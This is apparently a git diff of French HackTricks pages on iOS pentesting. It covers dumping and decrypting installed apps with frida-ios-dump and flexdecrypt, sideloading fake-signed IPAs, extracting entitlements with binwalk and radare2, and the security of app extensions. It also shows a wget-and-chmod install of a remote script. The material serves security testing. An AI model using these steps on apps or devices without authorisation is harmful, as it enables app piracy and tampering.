L'outil [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) est utilisé pour **déchiffrer et extraire automatiquement des applications** des appareils iOS. Au départ, il faut configurer `dump.py` pour se connecter à l'appareil iOS, ce qui peut être fait via localhost sur le port 2222 via **iproxy** ou directement via l'adresse IP de l'appareil et le port.
|
||||
|
||||
Les applications installées sur l'appareil peuvent être répertoriées avec la commande :
|
||||
Les applications installées sur l'appareil peuvent être listées avec la commande :
|
||||
```bash
|
||||
$ python dump.py -l
|
||||
```
|
||||
Pour extraire une application spécifique, telle que Telegram, la commande suivante est utilisée :
|
||||
Pour extraire une application spécifique, comme Telegram, la commande suivante est utilisée :
|
||||
```bash
|
||||
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
||||
```
|
||||
Ce commandement initie le vidage de l'application, ce qui entraîne la création d'un fichier `Telegram.ipa` dans le répertoire actuel. Ce processus est adapté aux appareils jailbreakés, car les applications non signées ou faussement signées peuvent être réinstallées à l'aide d'outils tels que [**ios-deploy**](https://github.com/ios-control/ios-deploy).
|
||||
Cette commande initie le dump de l'application, ce qui entraîne la création d'un fichier `Telegram.ipa` dans le répertoire actuel. Ce processus est adapté aux appareils jailbreakés, car les applications non signées ou faussement signées peuvent être réinstallées à l'aide d'outils comme [**ios-deploy**](https://github.com/ios-control/ios-deploy).
|
||||
|
||||
#### **flexdecrypt**
|
||||
L'outil [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), avec son wrapper [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), permet l'extraction de fichiers IPA à partir d'applications installées. Les commandes d'installation pour **flexdecrypt** sur l'appareil comprennent le téléchargement et l'installation du package `.deb`. **flexdump** peut être utilisé pour répertorier et vider les applications, comme indiqué dans les commandes ci-dessous:
|
||||
L'outil [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), ainsi que son wrapper [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), permet l'extraction de fichiers IPA à partir des applications installées. Les commandes d'installation pour **flexdecrypt** sur l'appareil incluent le téléchargement et l'installation du package `.deb`. **flexdump** peut être utilisé pour lister et dumper des applications, comme le montrent les commandes ci-dessous :
|
||||
```bash
|
||||
apt install zip unzip
|
||||
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
||||
|
@ -141,35 +142,33 @@ flexdump list
|
|||
flexdump dump Twitter.app
|
||||
```
|
||||
#### **bagbak**
|
||||
[**bagbak**](https://github.com/ChiChou/bagbak), un autre outil basé sur Frida, nécessite un appareil jailbreaké pour le décryptage de l'application:
|
||||
[**bagbak**](https://github.com/ChiChou/bagbak), un autre outil basé sur Frida, nécessite un appareil jailbreaké pour le décryptage des applications :
|
||||
```bash
|
||||
bagbak --raw Chrome
|
||||
```
|
||||
#### **r2flutch**
|
||||
**r2flutch**, utilisant à la fois radare et frida, sert à la décryption et au dumping d'applications. Plus d'informations peuvent être trouvées sur sa [**page GitHub**](https://github.com/as0ler/r2flutch).
|
||||
|
||||
### **Installation des Applications**
|
||||
### **Installation d'Applications**
|
||||
|
||||
**Sideloading** fait référence à l'installation d'applications en dehors de l'App Store officiel. Ce processus est géré par le **démon installd** et nécessite que les applications soient signées avec un certificat délivré par Apple. Les appareils jailbreakés peuvent contourner cela grâce à **AppSync**, permettant l'installation de packages IPA signés de manière frauduleuse.
|
||||
**Sideloading** fait référence à l'installation d'applications en dehors de l'App Store officiel. Ce processus est géré par le **daemon installd** et nécessite que les applications soient signées avec un certificat délivré par Apple. Les appareils jailbreakés peuvent contourner cela grâce à **AppSync**, permettant l'installation de paquets IPA faussement signés.
|
||||
|
||||
#### **Outils de Sideloading**
|
||||
|
||||
- **Cydia Impactor** : Un outil pour signer et installer des fichiers IPA sur iOS et des fichiers APK sur Android. Des guides et des solutions de dépannage peuvent être trouvés sur [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
|
||||
- **Cydia Impactor** : Un outil pour signer et installer des fichiers IPA sur iOS et des fichiers APK sur Android. Des guides et des solutions aux problèmes peuvent être trouvés sur [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
|
||||
|
||||
- **libimobiledevice** : Une bibliothèque pour Linux et macOS pour communiquer avec les appareils iOS. Des commandes d'installation et des exemples d'utilisation pour ideviceinstaller sont fournis pour installer des applications via USB.
|
||||
- **libimobiledevice** : Une bibliothèque pour Linux et macOS pour communiquer avec des appareils iOS. Des commandes d'installation et des exemples d'utilisation pour ideviceinstaller sont fournis pour installer des applications via USB.
|
||||
|
||||
- **ipainstaller** : Cet outil en ligne de commande permet l'installation directe d'applications sur des appareils iOS.
|
||||
|
||||
- **ios-deploy** : Pour les utilisateurs de macOS, ios-deploy installe des applications iOS depuis la ligne de commande. Le dézippage de l'IPA et l'utilisation du drapeau `-m` pour le lancement direct de l'application font partie du processus.
|
||||
- **ios-deploy** : Pour les utilisateurs de macOS, ios-deploy installe des applications iOS depuis la ligne de commande. Décompresser l'IPA et utiliser le drapeau `-m` pour un lancement direct de l'application font partie du processus.
|
||||
|
||||
- **Xcode** : Utilisez Xcode pour installer des applications en naviguant vers **Window/Devices and Simulators** et en ajoutant l'application à **Installed Apps**.
|
||||
|
||||
#### **Autoriser l'Installation d'Applications sur des Appareils Non-iPad**
|
||||
Pour installer des applications spécifiques à l'iPad sur des appareils iPhone ou iPod touch, la valeur **UIDeviceFamily** dans le fichier **Info.plist** doit être modifiée en **1**. Cette modification nécessite cependant de resigner le fichier IPA en raison des vérifications de validation de signature.
|
||||
|
||||
**Remarque** : Cette méthode peut échouer si l'application exige des fonctionnalités exclusives aux nouveaux modèles d'iPad tout en utilisant un ancien iPhone ou iPod touch.
|
||||
|
||||
Pour installer des applications spécifiques à l'iPad sur des appareils iPhone ou iPod touch, la valeur **UIDeviceFamily** dans le fichier **Info.plist** doit être changée en **1**. Cette modification nécessite cependant de re-signer le fichier IPA en raison des vérifications de validation de signature.
|
||||
|
||||
**Note** : Cette méthode peut échouer si l'application exige des capacités exclusives aux modèles d'iPad plus récents tout en utilisant un ancien iPhone ou iPod touch.
|
||||
|
||||
## Références
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||
|
@ -178,16 +177,17 @@ Pour installer des applications spécifiques à l'iPad sur des appareils iPhone
|
|||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
# Extraction des autorisations à partir de l'application compilée
|
||||
# Extraction des droits d'accès à partir de l'application compilée
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Résumé de la page [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
||||
|
||||
### **Extraction des autorisations et des fichiers de provisionnement mobile**
|
||||
### **Extraction des droits d'accès et des fichiers de provisionnement mobile**
|
||||
|
||||
Lorsqu'il s'agit d'un IPA d'application ou d'une application installée sur un appareil jailbreaké, il peut ne pas être possible de trouver directement les fichiers `.entitlements` ou le fichier `embedded.mobileprovision`. Cependant, les listes de propriétés des autorisations peuvent toujours être extraites du binaire de l'application, en suivant les procédures décrites dans le chapitre "Test de sécurité de base sur iOS", en particulier la section "Acquisition du binaire de l'application".
|
||||
Lorsqu'il s'agit d'un IPA d'application ou d'une application installée sur un appareil jailbreaké, il peut ne pas être possible de trouver directement des fichiers `.entitlements` ou le fichier `embedded.mobileprovision`. Cependant, les listes de propriétés des droits d'accès peuvent toujours être extraites du binaire de l'application, en suivant les procédures décrites dans le chapitre "Test de sécurité de base iOS", en particulier la section "Acquisition du binaire de l'application".
|
||||
|
||||
Même avec des binaires chiffrés, certaines étapes peuvent être utilisées pour extraire ces fichiers. Si ces étapes échouent, des outils tels que Clutch (si compatible avec la version iOS), frida-ios-dump, ou des utilitaires similaires peuvent être nécessaires pour décrypter et extraire l'application.
|
||||
Même avec des binaires chiffrés, certaines étapes peuvent être employées pour extraire ces fichiers. Si ces étapes échouent, des outils tels que Clutch (s'il est compatible avec la version iOS), frida-ios-dump ou des utilitaires similaires peuvent être nécessaires pour déchiffrer et extraire l'application.
|
||||
|
||||
#### **Extraction de la liste des autorisations à partir du binaire de l'application**
|
||||
#### **Extraction du Plist des droits d'accès à partir du binaire de l'application**
|
||||
|
||||
Avec le binaire de l'application accessible sur un ordinateur, **binwalk** peut être utilisé pour extraire tous les fichiers XML. La commande ci-dessous montre comment le faire:
|
||||
Avec le binaire de l'application accessible sur un ordinateur, **binwalk** peut être utilisé pour extraire tous les fichiers XML. La commande ci-dessous démontre comment procéder :
|
||||
```bash
|
||||
$ binwalk -e -y=xml ./Telegram\ X
|
||||
|
||||
|
@ -34,33 +35,34 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
|||
1430180 0x15D2A4 XML document, version: "1.0"
|
||||
1458814 0x16427E XML document, version: "1.0"
|
||||
```
|
||||
Alternativement, **radare2** peut être utilisé pour exécuter silencieusement une commande et quitter, en recherchant toutes les chaînes dans le binaire de l'application contenant "PropertyList":
|
||||
Alternativement, **radare2** peut être utilisé pour exécuter discrètement une commande et sortir, en recherchant toutes les chaînes dans le binaire de l'application qui contiennent "PropertyList":
|
||||
```bash
|
||||
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||
|
||||
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
|
||||
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
|
||||
```
|
||||
Les deux méthodes, binwalk et radare2, permettent l'extraction des fichiers `plist`, avec une inspection du premier (0x0015d2a4) révélant une récupération réussie du [fichier d'entitlements original de Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
Les deux méthodes, binwalk et radare2, permettent l'extraction de fichiers `plist`, avec une inspection de la première (0x0015d2a4) révélant une récupération réussie du [fichier d'entitlements original de Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
|
||||
Pour les binaires d'application accessibles sur des appareils jailbreakés (par exemple, via SSH), la commande **grep** avec l'indicateur `-a, --text` peut être utilisée pour traiter tous les fichiers comme du texte ASCII:
|
||||
Pour les binaires d'applications accessibles sur des appareils jailbreakés (par exemple, via SSH), la commande **grep** avec le drapeau `-a, --text` peut être utilisée pour traiter tous les fichiers comme du texte ASCII :
|
||||
```bash
|
||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
||||
```
|
||||
Ajuster le drapeau `-A num, --after-context=num` permet d'afficher plus ou moins de lignes. Cette méthode est même applicable aux binaires d'applications chiffrées et a été vérifiée sur plusieurs applications de l'App Store. Les outils mentionnés précédemment peuvent également être utilisés sur des appareils iOS jailbreakés à des fins similaires.
|
||||
Ajuster le drapeau `-A num, --after-context=num` permet d'afficher plus ou moins de lignes. Cette méthode est viable même pour les binaires d'applications cryptées et a été vérifiée contre plusieurs applications de l'App Store. Les outils mentionnés précédemment peuvent également être utilisés sur des appareils iOS jailbreakés à des fins similaires.
|
||||
|
||||
**Remarque** : L'utilisation directe de la commande `strings` n'est pas recommandée pour cette tâche en raison de ses limitations dans la recherche d'informations pertinentes. Au lieu de cela, l'utilisation de grep avec le drapeau `-a` sur le binaire ou l'utilisation de radare2 (`izz`)/rabin2 (`-zz`) est conseillée pour des résultats plus efficaces.
|
||||
**Note** : L'utilisation directe de la commande `strings` n'est pas recommandée pour cette tâche en raison de ses limitations à trouver des informations pertinentes. Au lieu de cela, il est conseillé d'utiliser grep avec le drapeau `-a` sur le binaire ou d'utiliser radare2 (`izz`)/rabin2 (`-zz`) pour des résultats plus efficaces.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,42 @@
|
|||
# Extensions d'application iOS
|
||||
# iOS App Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Les extensions d'application améliorent les fonctionnalités des applications en leur permettant d'interagir avec d'autres applications ou le système, en fournissant des fonctionnalités ou du contenu personnalisé. Ces extensions comprennent :
|
||||
Les extensions d'application améliorent la fonctionnalité des applications en leur permettant d'interagir avec d'autres applications ou le système, fournissant des fonctionnalités ou du contenu personnalisés. Ces extensions incluent :
|
||||
|
||||
- **Clavier personnalisé** : Offre un clavier unique dans toutes les applications, remplaçant le clavier iOS par défaut.
|
||||
- **Partager** : Permet de partager sur les réseaux sociaux ou avec d'autres directement.
|
||||
- **Aujourd'hui (Widgets)** : Fournit du contenu ou effectue des tâches rapidement à partir de la vue Aujourd'hui du Centre de notifications.
|
||||
- **Aujourd'hui (Widgets)** : Fournit du contenu ou effectue des tâches rapidement depuis la vue Aujourd'hui du Centre de notifications.
|
||||
|
||||
Lorsqu'un utilisateur interagit avec ces extensions, tel que partager du texte à partir d'une application hôte, l'extension traite cette entrée dans son contexte, en exploitant les informations partagées pour effectuer sa tâche, comme détaillé dans la documentation d'Apple.
|
||||
Lorsqu'un utilisateur interagit avec ces extensions, comme le partage de texte depuis une application hôte, l'extension traite cette entrée dans son contexte, utilisant les informations partagées pour effectuer sa tâche, comme détaillé dans la documentation d'Apple.
|
||||
|
||||
### **Considérations de sécurité**
|
||||
|
||||
Les aspects clés de sécurité comprennent :
|
||||
Les principaux aspects de sécurité incluent :
|
||||
|
||||
- Les extensions et leurs applications conteneurs communiquent via une communication inter-processus, pas directement.
|
||||
- Les extensions et leurs applications contenant communiquent via la communication inter-processus, pas directement.
|
||||
- Le **widget Aujourd'hui** est unique en ce sens qu'il peut demander à son application de s'ouvrir via une méthode spécifique.
|
||||
- L'accès aux données partagées est autorisé dans un conteneur privé, mais l'accès direct est restreint.
|
||||
- Certaines API, y compris HealthKit, sont interdites aux extensions d'application, qui ne peuvent pas non plus démarrer des tâches de longue durée, accéder à l'appareil photo ou au microphone, sauf pour les extensions iMessage.
|
||||
- Certaines API, y compris HealthKit, sont interdites aux extensions d'application, qui ne peuvent également pas démarrer de tâches de longue durée, accéder à la caméra ou au microphone, sauf pour les extensions iMessage.
|
||||
|
||||
### Analyse statique
|
||||
|
||||
#### **Identification des extensions d'application**
|
||||
|
||||
Pour trouver des extensions d'application dans le code source, recherchez `NSExtensionPointIdentifier` dans Xcode ou inspectez le bundle d'application pour les fichiers `.appex` indiquant des extensions. Sans code source, utilisez grep ou SSH pour localiser ces identifiants dans le bundle d'application.
|
||||
Pour trouver des extensions d'application dans le code source, recherchez `NSExtensionPointIdentifier` dans Xcode ou inspectez le bundle de l'application pour des fichiers `.appex` indiquant des extensions. Sans code source, utilisez grep ou SSH pour localiser ces identifiants dans le bundle de l'application.
|
||||
|
||||
#### **Types de données pris en charge**
|
||||
|
||||
|
@ -43,35 +44,36 @@ Vérifiez le fichier `Info.plist` d'une extension pour `NSExtensionActivationRul
|
|||
|
||||
#### **Partage de données**
|
||||
|
||||
Le partage de données entre une application et son extension nécessite un conteneur partagé, configuré via les "Groupes d'applications" et accessible via `NSUserDefaults`. Cet espace partagé est nécessaire pour les transferts en arrière-plan initiés par les extensions.
|
||||
Le partage de données entre une application et son extension nécessite un conteneur partagé, configuré via "App Groups" et accessible via `NSUserDefaults`. Cet espace partagé est nécessaire pour les transferts en arrière-plan initiés par les extensions.
|
||||
|
||||
#### **Restriction des extensions**
|
||||
|
||||
Les applications peuvent restreindre certains types d'extensions, en particulier les claviers personnalisés, garantissant que la manipulation de données sensibles est conforme aux protocoles de sécurité.
|
||||
Les applications peuvent restreindre certains types d'extensions, en particulier les claviers personnalisés, garantissant que le traitement des données sensibles est conforme aux protocoles de sécurité.
|
||||
|
||||
### Analyse dynamique
|
||||
|
||||
L'analyse dynamique implique :
|
||||
|
||||
- **Inspection des éléments partagés** : Accrochez-vous à `NSExtensionContext - inputItems` pour voir les types de données partagées et leurs origines.
|
||||
- **Inspection des éléments partagés** : Accédez à `NSExtensionContext - inputItems` pour voir les types de données et leurs origines partagées.
|
||||
- **Identification des extensions** : Découvrez quelles extensions traitent vos données en observant les mécanismes internes, comme `NSXPCConnection`.
|
||||
|
||||
Des outils comme `frida-trace` peuvent aider à comprendre les processus sous-jacents, en particulier pour ceux intéressés par les détails techniques de la communication inter-processus.
|
||||
Des outils comme `frida-trace` peuvent aider à comprendre les processus sous-jacents, en particulier pour ceux qui s'intéressent aux détails techniques de la communication inter-processus.
|
||||
|
||||
## Références
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,38 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
